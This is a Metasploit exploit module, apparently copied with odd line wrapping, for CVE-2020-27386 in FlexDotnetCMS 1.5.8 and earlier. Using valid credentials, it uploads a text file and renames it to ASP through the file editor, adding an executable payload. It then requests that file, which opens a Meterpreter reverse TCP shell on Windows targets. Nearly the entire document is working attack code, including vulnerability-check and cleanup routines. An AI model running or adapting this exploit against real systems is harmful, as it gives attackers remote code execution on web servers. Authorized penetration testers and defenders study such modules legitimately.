# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'FlexDotnetCMS Arbitrary ASP File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in
FlexDotnetCMS v1.5.8 and prior in order to execute arbitrary
commands with elevated privileges.
The module first tries to authenticate to FlexDotnetCMS via an
HTTP
POST request to `/login`. It then attempts to upload a random
TXT
file and subsequently uses the FlexDotnetCMS file editor to
rename
the TXT file to an ASP file. If this succeeds, the target is
vulnerable and the ASP file is generated as a copy of the TXT
file,
which remains on the server.
Next, the module sends another request to rename the TXT file to
an
ASP file, this time adding the payload. Finally, the module
tries
to execute the ASP payload via a simple HTTP GET request to
`/media/uploads/asp_payload`
Valid credentials for a FlexDotnetCMS user with permissions to
use
the FileManager are required. This module has been successfully
tested against FlexDotnetCMS v1.5.8 running on Windows Server
2012.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Erik Wynter' # @wyntererik - Discovery & Metasploit
],
'References' =>
[
['CVE', '2020-27386'],
],
'Platform' => 'win',
'Targets' =>
[
[
'Windows (x86)', {
'Arch' => [ARCH_X86],
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
}
],
[
'Windows (x64)', {
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2020-09-28'
)
)
register_options [
OptString.new('TARGETURI', [true, 'The base path to FlexDotnetCMS',
'/']),
OptString.new('USERNAME', [true, 'Username to authenticate with',
'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with',
''])
]
end
def rename_file(res, payload)
# obtain tokens required for renaming the payload
html = res.get_html_document
viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]')
event_validation = html.at('input[@id="__EVENTVALIDATION"]')
if viewstate_key.blank? || event_validation.blank? # check if
tokens exist before calling their values
return 'no_tokens'
end
viewstate_key = viewstate_key['value']
event_validation = event_validation['value']
# rename TXT payload to ASP using the file editor, this creates
a copy of the TXT file, so both have to be deleted (this happens in
cleanup)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Admin', 'Views',
'PageHandlers', 'FileEditor', 'Default.aspx'),
'vars_get' => { 'LoadFile' =>
"/media/uploads/#{@payload_txt}" },
'vars_post' => {
'__EVENTTARGET' => 'ctl00$ContentPlaceHolder1$Save',
'__VIEWSTATEKEY' => viewstate_key,
'__EVENTVALIDATION' => event_validation,
'ctl00$ContentPlaceHolder1$FileSelector$SelectedFile' =>
"/media/uploads/#{@payload_asp}",
'ctl00$ContentPlaceHolder1$Editor' => payload
}
})
end
def check
# used to ensure cleanup only runs against flexdotnetcms
targets
@skip_cleanup = true
# visit login the page to get the necessary cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login/'),
'keep_cookies' => true
})
unless res
return CheckCode::Unknown('Connection failed')
end
# the login page doesn't contain the name of the app or the
author, so we're combining a bunch of checks to limit the odds of
failing to flag an incorrect target
unless res.code == 200 && res.body.include?('<title>Login
- Home</title>') &&
res.body.include?('<label>Email</label><br>')
&& res.body.include?('>Forgot my password</a>')
return CheckCode::Safe('Target is not a FlexDotnetCMS
application.')
end
# get cookies and tokens necessary for authentication
html = res.get_html_document
viewstate_key = html.at('input[@id="__VIEWSTATEKEY"]')
event_validation = html.at('input[@id="__EVENTVALIDATION"]')
if viewstate_key.blank? || event_validation.blank? # check if
tokens exist before calling their values
return CheckCode::Detected('Received unexpected response while
trying to obtain tokens necessary for authentication from
/login')
end
viewstate_key = viewstate_key['value']
event_validation = event_validation['value']
# perform login to verify if the target is a FlexDotnetCMS
application
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login/'),
'keep_cookies' => true,
'vars_post' => {
# ideally the % in the line below would not be encoded, but I don't
know how to achieve that without reverting to send_request_raw,
which is ugly, and this works
'LoginControl$ctl00' =>
'LoginControl$ctl01%7CLoginControl$LoginButton',
'__EVENTTARGET' => 'LoginControl$LoginButton',
'__VIEWSTATEKEY' => viewstate_key,
'LoginControl$Username' => datastore['USERNAME'],
'LoginControl$Password' => datastore['PASSWORD'],
'__EVENTVALIDATION' => event_validation,
'__ASYNCPOST' => 'true'
}
})
unless res
return CheckCode::Detected('Connection failed')
end
unless res.code == 200 &&
res.body.include?('pageRedirect||%2fadmin')
return CheckCode::Detected('Failed to authenticate to the
server.')
end
# visit the backend dashboard
res = send_request_cgi 'uri' => normalize_uri(target_uri.path,
'Admin/')
unless res
return CheckCode::Detected('Connection failed')
end
unless res.code == 200 && res.body.include?('Welcome to your
site editor:')
return CheckCode::Detected('Received unexpected response while
trying to follow redirect to /Admin/')
end
print_good('Successfully authenticated to FlexDotnetCMS')
# prepare to upload a TXT file and rename it to an ASP file. If
this works, the target is vulnerable.
# generate file names and post data
@payload_txt = "#{rand_text_alphanumeric(6..10)}.txt"
@payload_asp = @payload_txt.split('.txt')[0] << '.asp'
post_data = Rex::MIME::Message.new
post_data.add_part('\\media\\uploads\\', nil, nil, 'form-data;
name="folder"')
post_data.add_part(rand_text_alpha(10..20), 'text/plain', nil,
"form-data; name=\"file\"; filename=\"#{@payload_txt}\"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Scripts',
'tinyfilemanager.net', 'dialog.aspx'),
'ctype' => "multipart/form-data;
boundary=#{post_data.bound}",
'headers' => {
'Accept' => 'application/json',
'X-Requested-With' => 'XMLHttpRequest',
'X-File-Name' => @payload_txt
},
'vars_get' => {
'cmd' => 'upload'
},
'data' => post_data.to_s
})
@skip_cleanup = false # cleanup only has to run if at least one attempt to upload a file has been made
vprint_status("Uploading test file #{@payload_txt}...")
unless res
return CheckCode::Detected("Connection failed while trying to
upload test file #{@payload_txt}")
end
unless res.code == 200
return CheckCode::Detected("Received unexpected response while
trying to upload test file #{@payload_txt}")
end
# load the test file in the file editor in order to obtain
tokens required for renaming it
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Admin', 'Views',
'PageHandlers', 'FileEditor', 'Default.aspx'),
'vars_get' => { 'LoadFile' =>
"/media/uploads/#{@payload_txt}" }
})
unless res
return CheckCode::Detected("Connection failed while trying to open
test file #{@payload_txt} in the file editor")
end
unless res.code == 200 && res.body.include?('Successfully
loaded file')
return CheckCode::Detected("Received unexpected response while
trying to open test file #{@payload_txt} in the file editor")
end
# FlexDotNetCMS displays the full installation path on the
server in response to the previous GET request, so we can print
it
flexdotnetcms_path = res.body.scan(/jQuery\.jGrowl\(\"Successfully
loaded file \( (.*?)WebApplication/).flatten.first
unless flexdotnetcms_path.blank?
print_status("FlexDotnetCMS is installed on the target at
#{flexdotnetcms_path}")
end
print_status("Uploaded test file #{@payload_txt}. Attempting to
rename the file to #{@payload_asp}...")
res = rename_file(res, rand_text_alpha(10..20))
if res == 'no_tokens'
return CheckCode::Detected("Received unexpected response while
trying to obtain tokens necessary for renaming
#{@payload_txt}")
end
unless res
return CheckCode::Detected("Connection failed while trying to
rename the test file #{@payload_txt}.")
end
unless res.code == 200 &&
res.body.include?('jQuery.jGrowl("Successfully saved') &&
res.body.include?("/media/uploads/#{@payload_asp}")
vprint_status("Failed to use the file editor to rename test file
#{@payload_txt} to #{@payload_asp}")
return CheckCode::Safe('Target is FlexDotnetCMS v1.5.9 or
higher')
end
print_good("Successfully renamed test file #{@payload_txt} to #{@payload_asp} (this is a copy of #{@payload_txt}, which remains on the server)")
return CheckCode::Vulnerable('Target is FlexDotnetCMS v1.5.8 or
lower.')
end
def rename_test_file_and_add_payload
print_status("Renaming #{@payload_txt} to #{@payload_asp} again,
this time adding the payload")
# load the file in the file editor in order to obtain tokens
required for renaming it
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Admin', 'Views',
'PageHandlers', 'FileEditor', 'Default.aspx'),
'vars_get' => { 'LoadFile' =>
"/media/uploads/#{@payload_txt}" }
})
unless res
fail_with(Failure::Disconnected, "Connection failed while trying to
open #{@payload_txt} in the file editor")
end
unless res.code == 200 && res.body.include?('Successfully
loaded file')
fail_with(Failure::UnexpectedReply, "Received unexpected response
while trying to open #{@payload_txt} in the file editor")
end
# genenerate ASP payload, then rename the TXT file again while
adding the payload
exe = generate_payload_exe
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
res = rename_file(res, payload)
if res == 'no_tokens'
fail_with(Failure::UnexpectedReply, "Received unexpected response
while trying to obtain tokens necessary for renaming
#{@payload_txt}")
end
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to
add the ASP payload.')
end
unless res.code == 200 &&
res.body.include?('jQuery.jGrowl("Successfully saved') &&
res.body.include?("/media/uploads/#{@payload_asp}")
fail_with(Failure::Unknown, 'Failed to add the ASP payload.')
end
print_good("Successfully added the ASP payload to
#{@payload_asp}")
end
def cleanup
# only run when at least one attempt to upload a file has been
made
return if @skip_cleanup
# delete uploaded TXT and ASP files
[@payload_txt, @payload_asp].each do |file|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Scripts',
'tinyfilemanager.net', 'dialog.aspx'),
'vars_get' => {
'cmd' => 'delfile',
'file' => "\\media\\uploads\\#{file}",
'currpath' => '\\media\\uploads\\'
}
})
unless res && res.code == 200 &&
res.body.exclude?(file)
print_error("Failed to delete #{file}.")
print_warning("Manual cleanup of #{file} is required.")
return
end
print_good("Successfully deleted #{file}")
end
end
def exploit
rename_test_file_and_add_payload
print_status('Executing the payload...')
res = send_request_cgi 'uri' => normalize_uri(target_uri.path,
'media', 'uploads', @payload_asp.to_s)
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to
execute the payload.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Received unexpected response
while trying to execute the payload')
end
end
end

